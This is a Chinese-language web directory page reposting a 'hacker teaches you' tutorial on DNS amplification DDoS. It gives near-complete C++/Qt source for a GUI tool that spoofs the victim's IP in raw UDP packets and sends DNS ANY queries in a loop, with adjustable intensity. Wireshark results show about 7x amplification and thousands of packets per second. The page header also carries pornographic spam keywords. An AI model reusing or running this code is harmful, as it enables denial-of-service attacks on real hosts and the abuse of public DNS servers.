日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

摘要: 發送大量的數據包消耗目標主機資源,使其無法正常工作。

1.前言:

DOS攻擊原理:發送大量的數據包消耗目標主機資源,使其無法正常工作。

DNS放大攻擊的原理:偽造DNS數據包,向DNS服務器發送域名查詢報文了,而DNS服務器返回的應答報文則會發送給被攻擊主機。放大體現在請求DNS回復的類型為ANY,攻擊者向服務器請求的包長度為69個字節,而服務器向被攻擊主機回復的ANY類型DNS包長度為535字節,大約放大了7倍。

本次實驗實現的是DOS+DNS放大攻擊,在傳輸層使用UDP協議,應用層使用DNS協議,程序有界面,接受用戶輸入,用戶還能調節發包的速度改變攻擊強度。

2.程序框圖:

黑客教你如何用DNS放大DDoS分布拒絕服務攻擊,很可怕!

 

3.DOS+DNS簡易界面的設計

黑客教你如何用DNS放大DDoS分布拒絕服務攻擊,很可怕!

 

添加5個文本框,用來接受用戶輸入的被攻擊的ip,發送的端口,服務器ip,發送接口名稱,查詢的域名。

添加一個滑塊用來控制攻擊的強度。

添加兩個按鈕控制攻擊的開始和停止。

核心代碼是attack按鈕槽函數的實現,接受輸入,并調用攻擊函數。

void Widget::on_attack_pushButton_clicked()

{

QByteArray dstipstr = ui->dst_ip_Edit->text().toLatin1();

QByteArray ifnamestr = ui->ifname_Edit->text().toLatin1();

QByteArray dnsipstr = ui->dns_Edit->text().toLatin1();

QByteArray domainstr = ui->Domain_Edit->text().toLatin1();

dosattack=

new DosAttack(dstipstr,ifnamestr,ui->port_spinBox->

value(),dnsipstr,ui->AttackLEVEL_Slider->value(),domainstr);

dosattack->start();

}

4.構造發送DNS報文

黑客教你如何用DNS放大DDoS分布拒絕服務攻擊,很可怕!

 

因為我們要偽造源IP,發送DNS請求,所以我們的報文應該從IP頭部開始構造,一直到UDP報文的數據部分。這里分為兩個部分,IP頭部和UDP頭部作為一個部分,UDP的數據即DNS報文作為一個部分。

(1)IP偽首部+IP頭部+UDP頭部

黑客教你如何用DNS放大DDoS分布拒絕服務攻擊,很可怕!

 


黑客教你如何用DNS放大DDoS分布拒絕服務攻擊,很可怕!

 

UDP包在網絡傳輸的時候要計算校驗和,需要用到IP偽首部,IP偽首部在網絡中不傳輸,只用作校驗和的計算。我們構造兩個數據結構,udpbuf填充UDP頭部包括IP頭部、udpfhrd填充IP偽首部。核心代碼在sendudp函數里填充數據,以及檢驗和checksum函數的實現。

//IP頭部+UDP頭部

struct udpbuf

{

struct ip iph;

struct udphdr udp;

};

//IP偽首部

struct udpfhrd

{

struct in_addr ip_src;

struct in_addr ip_dst;

char zero;

char protocal;

short len;

};

//檢驗和函數

unsigned short checksum(unsigned short * buffer, int size)

{

unsigned long cksum = 0;

while(size>1)

{

cksum += *buffer++;

size -=sizeof(unsigned short);

}

if (size)

{

cksum += *(unsigned char*)buffer;

}

cksum = (cksum>>16)+ (cksum&0xffff);

cksum += (cksum>>16);

return (unsigned short)(~cksum);

}

//udp發送函數

void sendudp(char *src_ip, char *dst_ip,int src_port,int dst_port, char * ifname,

char*data,int datalen)

{

int buflen = sizeof(udpbuf)+datalen;

char buf[buflen];

struct udpbuf *ubuf = (struct udpbuf *)buf;

struct sockaddr_ll toaddr;

struct in_addr targetIP,srcIP;

struct ifreq ifr;

int skfd;

if ((skfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

{

exit(1);

}

bzero(&toaddr, sizeof(toaddr));

bzero(&ifr, sizeof(ifr));

memcpy(ifr.ifr_name,ifname,strlen(ifname));

ioctl(skfd, SIOCGIFINDEX,&ifr);

toaddr.sll_ifindex = ifr.ifr_ifindex;

ubuf->iph.ip_v = IPVERSION;

ubuf->iph.ip_hl= sizeof(struct ip)>>2;

ubuf->iph.ip_tos = 0;

ubuf->iph.ip_len = htons(buflen);

ubuf->iph.ip_id = 0;

ubuf->iph.ip_off = 0;

ubuf->iph.ip_ttl = MAXTTL;

ubuf->iph.ip_p = IPPROTO_UDP;

ubuf->iph.ip_sum = 0;

inet_pton(AF_INET,dst_ip,&targetIP);

ubuf->iph.ip_dst = targetIP;

inet_pton(AF_INET,src_ip,&srcIP);

ubuf->iph.ip_src = srcIP;

ubuf->iph.ip_sum = checksum((unsigned short *)(&(ubuf->iph)),sizeof(struct ip));

ubuf->udp.source = htons(src_port);

ubuf->udp.dest = htons(dst_port);

ubuf->udp.len = htons(sizeof(struct udphdr) + datalen);

ubuf->udp.check = 0;

memcpy(buf + sizeof(struct udpbuf),data,datalen);

int csbuflen = sizeof(struct udpfhrd)+sizeof(struct udphdr)+(datalen % 2 == 0?datalen:datalen + 1);

char checksumbuf[csbuflen] ;

struct udpfhrd * fhrd = (struct udpfhrd *)checksumbuf;

fhrd->ip_dst = ubuf->iph.ip_dst;

fhrd->ip_src = ubuf->iph.ip_src;

fhrd->zero = 0;

fhrd->protocal = ubuf->iph.ip

_p;

fhrd->len = ubuf->udp.len;

memcpy((checksumbuf+sizeof(struct udpfhrd)),&(ubuf->udp),sizeof(struct udphdr)+datalen);

if(datalen % 2 != 0)

{ checksumbuf[csbuflen-1] = 0;}

ubuf->udp.check = checksum((unsigned short *)(checksumbuf),csbuflen);

toaddr.sll_family = AF_INET;

sendto(skfd, buf, buflen, 0, (struct sockaddr *)&toaddr, sizeof(toaddr));

close(skfd);

}

(2)DNS報文部分

黑客教你如何用DNS放大DDoS分布拒絕服務攻擊,很可怕!

 


黑客教你如何用DNS放大DDoS分布拒絕服務攻擊,很可怕!

 

同樣構造一個數據結構 dnshdr來填充DNS報文,注意放大攻擊的請求類型是ANY。

這一部分的核心是在DNS發送函數SendDns填充數據,以及查詢名的轉化,在DNS報文里查詢名的存儲格式是3www5baidu3com,用戶提交的數據格式是www.baidu.com。

//DNS前12字節

struct dnshdr

{

unsigned short id;

unsigned short bz;

unsigned short wtcount;

unsigned short zyCount;

unsigned short sqCount;

unsigned short ewCount;

};

//DNS可變部分

struct questtype

{

unsigned short dnsType;

unsigned short dnsClass;

};

//sendDns函數,函數最后調用sendudp函數,將數據整合到sendudp函數中。

void SendDns(char * ifname ,char * srcf_ip,unsigned short src_port, char * dns, QByteArray domain)

{

QList <QByteArray> domainlist= domain.split('.');

QByteArray domainName;

for (int i = 0; i<domainlist.length();i++)

{

domainName += domainlist.at(i).length();

domainName += domainlist.at(i);

}

domainName += '';

int bufflen = sizeof(dnshdr) + domainName.length() + sizeof( questtype);

char buf[bufflen];

struct dnshdr * dnsh;

struct questtype * qtype;

dnsh = (struct dnshdr*)buf;

qtype= (struct questtype*)(buf +sizeof(struct dnshdr)+domainName.length());

dnsh->id = rand();

dnsh->bz = htons(0x0100);

dnsh->wtcount= htons(1);

dnsh->zyCount = htons(0);

dnsh->sqCount = htons(0);

dnsh->ewCount = htons(0);

memcpy(buf+sizeof(struct dnshdr),domainName.data(),domainName.length());

qtype->dnsType = htons(255);

qtype->dnsClass = htons(1);

sendudp(srcf_ip,dns,src_port, 53,ifname,buf,bufflen);

}

5.DNS放大攻擊實現

這一部分創建一個DnsAttack類,實現DNS攻擊,并通過usleep(Level)控制發包的速度,從而改變攻擊的強度。

class DosAttack:public QThread

{

public:

DosAttack(QByteArray dstip,QByteArray ifname,int port ,QByteArray dns,int level,QByteArray domain);

bool running = true;

protected:

void run();

private:

QByteArray dstipstr;

QByteArray ifnamestr;

QByteArray Dnsstr;

int Port;

int Level;

QByteArray Domainstr;

};

DosAttack::DosAttack(QByteArray dstip,QByteArray ifname,int port ,QByteArray dns,int level,QByteArray domain)

{

dstipstr = dstip;

ifnamestr = ifname;

Port = port;

Dnsstr =dns;

Domainstr = domain;

Level =(10-level)*50;

}

void DosAttack::run()

{

char * dstip = dstipstr.data();

char * ifname = ifnamestr.data();

char * dns = Dnsstr.data();

while(running == true)

{

SendDns(ifname,dstip,Port,dns,Domainstr);

usleep(Level);

}

}

6.實驗截圖

運行的界面,偽造172.20.218.233發出DNS請求。

黑客教你如何用DNS放大DDoS分布拒絕服務攻擊,很可怕!

 

通過wireshark抓包工具看到我們的DNS請求包已經成功發出,包的長度為69個字節,請求類型為ANY。

黑客教你如何用DNS放大DDoS分布拒絕服務攻擊,很可怕!

 

在目標主機打開wireshark,接受到來自8.8.8.8發送來的應答包,可以看到包長度為535個字節,放大了7倍。

黑客教你如何用DNS放大DDoS分布拒絕服務攻擊,很可怕!

 

調節攻擊的強度為5

黑客教你如何用DNS放大DDoS分布拒絕服務攻擊,很可怕!

 

wireshark分析速度,峰值約為1000

黑客教你如何用DNS放大DDoS分布拒絕服務攻擊,很可怕!

 

調節攻擊的強度為10

黑客教你如何用DNS放大DDoS分布拒絕服務攻擊,很可怕!

 

wireshark分析速度,峰值約為3500

黑客教你如何用DNS放大DDoS分布拒絕服務攻擊,很可怕!

 

那么我們的DOS攻擊和DNS放大攻擊兩大功能就成功實現了。

7.實驗總結

本次實驗使用QT作為程序開發的框架,實現了DOS和DNS放大攻擊程序的編寫,對網絡數據包,網絡編程以及網絡安全有了更加深刻的理解,網絡簡單易用的設計原理,使得攻擊者可以輕易偽造數據。在重要數據傳輸的時候,要使用更加安全的協議如TCP,HTTPS等。

上述內容不知道大家學習到了嗎?網絡世界的安全漏洞每天都會出現,安全知識和安全意識每個公民都應該了解和學習,有想學習網絡安全技能的小伙伴可以隨時私信我哦!

分享到:
標簽:DDoS
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定